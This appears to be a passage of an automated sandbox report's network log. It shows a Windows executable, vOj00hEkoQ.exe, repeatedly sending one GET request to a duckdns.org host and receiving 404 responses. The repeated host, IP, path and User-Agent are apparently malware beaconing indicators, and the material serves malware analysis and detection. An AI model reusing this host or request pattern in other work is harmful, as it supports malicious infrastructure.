2022-08-05 10:12:25 UTC	70	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:25 UTC	70	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:25 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:25 UTC	70	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.6	49966	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:25 UTC	71	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:25 UTC	71	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:25 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:25 UTC	71	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.2.6	49967	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:26 UTC	71	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:26 UTC	71	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:26 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:26 UTC	71	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.6	49781	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:49 UTC	7	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:49 UTC	7	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:49 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:49 UTC	7	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.6	49968	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:26 UTC	71	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:26 UTC	72	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:26 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:26 UTC	72	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.2.6	49969	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:26 UTC	72	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:26 UTC	72	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:26 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:26 UTC	72	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.6	49970	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:26 UTC	72	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:26 UTC	72	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:26 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:26 UTC	73	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.2.6	49971	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:27 UTC	73	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:27 UTC	73	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:27 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:27 UTC	73	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.6	49972	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:27 UTC	73	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:27 UTC	73	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:27 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:27 UTC	73	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.2.6	49973	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:27 UTC	73	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:27 UTC	74	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:27 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:27 UTC	74	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.6	49974	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:27 UTC	74	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:27 UTC	74	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:27 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:27 UTC	74	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.2.6	49975	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:28 UTC	74	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:28 UTC	74	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:28 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:28 UTC	75	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.2.6	49976	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:28 UTC	75	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:28 UTC	75	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:28 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:28 UTC	75	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.2.6	49977	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:28 UTC	75	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:28 UTC	75	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:28 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:28 UTC	75	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.6	49782	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:50 UTC	7	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:50 UTC	7	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:50 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:50 UTC	7	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	192.168.2.6	49978	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:28 UTC	76	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:28 UTC	76	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:28 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:28 UTC	76	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.2.6	49979	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:28 UTC	76	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:29 UTC	76	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:28 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:29 UTC	76	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	192.168.2.6	49980	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:29 UTC	76	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:29 UTC	77	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:29 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:29 UTC	77	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	192.168.2.6	49981	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:29 UTC	77	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:29 UTC	77	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:29 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:29 UTC	77	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
184	192.168.2.6	49982	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:29 UTC	77	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:29 UTC	77	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:29 GMT Content-Type: text/html Content-Length: 146 Connection: close
